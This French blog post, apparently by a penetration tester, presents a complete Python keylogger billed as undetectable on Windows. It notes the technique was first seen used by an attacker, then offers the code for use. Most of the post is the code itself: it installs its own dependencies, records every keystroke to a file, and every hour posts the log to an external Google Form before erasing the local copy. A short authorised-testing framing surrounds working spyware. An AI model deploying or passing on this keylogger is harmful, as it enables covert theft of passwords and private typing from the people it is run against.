Test d'intrusion Python : sortez des sentiers battus !

Mar 27 2023
Construire un enregistreur de frappe Windows indétectable et envoyer les données à un formulaire Google externe
R. Eric Kiser Pour effectuer un test d'intrusion réussi sur une organisation, il est recommandé d'utiliser un logiciel autorisé et un accès légitime pour le transfert de données.

R. Eric Kiser

Pour effectuer un test d'intrusion réussi sur une organisation, il est recommandé d'utiliser un logiciel autorisé et un accès légitime pour le transfert de données. Ce faisant, le risque de détection peut être considérablement réduit. Dans cet article, je vais décrire les méthodes que j'ai observées qu'un attaquant utilise lors d'un engagement et les modifications que j'ai apportées pour améliorer cette technique pour les engagements ultérieurs. Veuillez noter que le script peut devoir être personnalisé pour s'adapter à l'environnement spécifique dans lequel il est utilisé.

L'attaquant, qui a utilisé cette méthode pour la première fois, a profité d'un formulaire public abandonné et a publié les résultats de l'enregistreur de frappe en ligne pour un accès externe. Cet incident souligne l'importance de la suppression des informations expirées pour éviter les violations de données ou, dans ce cas, même pour héberger des violations de données sans le savoir. De nombreuses organisations négligent cet aspect vital, poursuivant leurs opérations sans reconnaître la nécessité d'une maintenance régulière des données. C'est un bon exemple de la raison pour laquelle il est crucial de créer un cycle de vie des données, mais je m'égare.

Passons maintenant à l'écriture du scénario. Comme toujours, la première étape consiste à importer nos modules. Pour ce script, nous avons besoin de six modules ; sous-processus, sys, os, heure, requêtes et clavier.

import subprocess
import sys
import os
import time
import requests
import keyboard

def install_dependency(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

try:
    import keyboard
except ImportError:
    install_dependency("keyboard")
    import keyboard

try:
    import requests
except ImportError:
    install_dependency("requests")
    import requests

path = 'keyboard_Input.txt'
keyboard_Input = []
count = 0

# Update these with your Google Form's action URL and entry IDs
form_url = "https://docs.google.com/forms/your_form_id/formResponse"
entry_id = "entry.your_entry_id"

def on_press(e):
    global keyboard_Input, count
    keyboard_Input.append(e.name)
    count += 1

    if count > 0:
        count = 0
        write_to_file(keyboard_Input)
        keyboard_Input = []

def write_to_file(keys):
    with open(path, 'a') as file:
        for key in keyboard_Input:
            write_down = str(key).replace("'", "")
            if write_down.find('backspace') > 0:
                file.write(' *BACKSPACE* ')
            elif write_down.find('shift') > 0:
                file.write(' *SHIFT* ')
            elif write_down.find('enter') > 0:
                file.write('\n')
            elif write_down.find('space') > 0:
                file.write(' ')
            elif write_down.find('Key'):
                file.write(write_down)

def send_data_to_google_form():
    with open(path, 'r') as file:
        data = file.read()
        if data:
            payload = {entry_id: data}
            response = requests.post(form_url, data=payload)
            if response.status_code == 200:
                print("Data sent successfully")
                with open(path, 'w') as file:
                    file.truncate()
            else:
                print("Failed to send data")

keyboard.on_press(on_press)

while True:
    time.sleep(3600)  # Wait for 1 hour (3600 seconds)
    send_data_to_google_form()

Référentiel GitHub Python-Pentesting :
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/keyloggerGoogleForm.py